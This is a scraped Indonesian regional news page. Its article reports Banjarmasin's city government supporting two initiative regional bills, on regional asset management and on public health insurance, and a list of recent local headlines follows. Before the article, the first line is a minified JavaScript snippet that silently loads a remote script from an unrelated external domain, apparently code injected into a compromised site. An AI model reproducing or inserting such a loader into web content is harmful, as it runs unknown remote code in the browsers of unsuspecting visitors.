(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Dukung Pembahasan 2 Raperda Inisiatif


BANJARMASIN, Pemko Banjarmasin menyatakan dukungan terhadap dua Raperda insiatif yang akan dibahas para legislator kota seribu sungai. Dukungan yang diberikan para eksekutif itu memang sangat masuk akal. Pasalnya, semua Raperda yang akan dibahas itu bertujuan untuk memberikan kemaslahatan bagi seluruh masyarakat Kota Banjarmasin.

Dalam Sidang Paripurna Pembicaraan Tingkat 1 dan Internal, yang dilaksanakan di ruang Rapat Paripurna Kantor DPRD Kota Banjarmasin, Walikota H Ibnu Sina yang diwakili Sekda Kota Banjarmasin H Hamli Kursani secara tegas menyatakan, Pemko siap bermitra dan mendukung seluruh pembahasan Raperda tentang Pengelolaan Barang Milik Daerah dan tentang Penyelenggaraan Jaminan Kesehatan Bagi Masyarakat, Selasa (13/3).

Dukungan yang diberikan para eksekutif itu, sejalan dengan tanggapan 9 fraksi yang ada di gedung wakil rakyat tersebut. Mereka juga menyatakan persetujuannya terhadap pembentukan Raperda tersebut untuk dijadikan Perda.

Menurut H Hamli Kursani, bila Raperda tentang  Penyelenggaraan Jaminan Kesehatan Bagi Masyarakat itu resmi menjadi Perda, maka seluruh masyarakat kurang mampu yang ada di Bumi Kayuh Baimbai semuanya akan merasa terayomi.

Memang, lanjut Hamli, saat ini belum diketahui pasti pasal-pasal yang akan tercantum dalam Raperda tersebut. Namun begitu, hal tersebut akan segera terjawab setelah dilakukan pembahasan,  termasuk bagaimana nantinya keterkaitan BPJS, Jamkesda, Kartu Indonesia Sehat dan lainnya, dengan adanya Rapeda tersebut.

“Tapi pada prinsipnya rohnya dari rapat ini kan pokoknya masyarakat Banjarmasin itu terlayani, dijamin dalam bidang kesehatan,” jelasnya.

Dalam rapat yang diikuti seluruh pimpinan SKPD dan para Kabag lingkup Pemko Banjarmasin itu, Hamli juga mengatakan, meski Pemko Banjarmasin telah memiliki Perda yang mengatur tentang aset, namun Raparda inisiatif tentang Pengelolaan Barang Milik Daerah tetap diperlukan.

Hal ini, lanjutnya, untuk mengimbangi perkembangan dan kondisi zaman yang kian maju. “Selama ini kan kita sudah ada, tapi kan tentu saja peraturan-peraturannya berkembang, kemudian kondisi-kondisi juga berkembang. Nah hal-hal yang seperti ini yang disesuaikan, perlu di update kembali, sehingga  apa yang menjadi kekurangan dapat diperbaiki dan diperbarui,” jelasnya.(ammar)

Reporter: Ammar
Editor: Chell

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

22 menit ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

3 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

7 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

7 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

8 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

9 jam ago

This website uses cookies.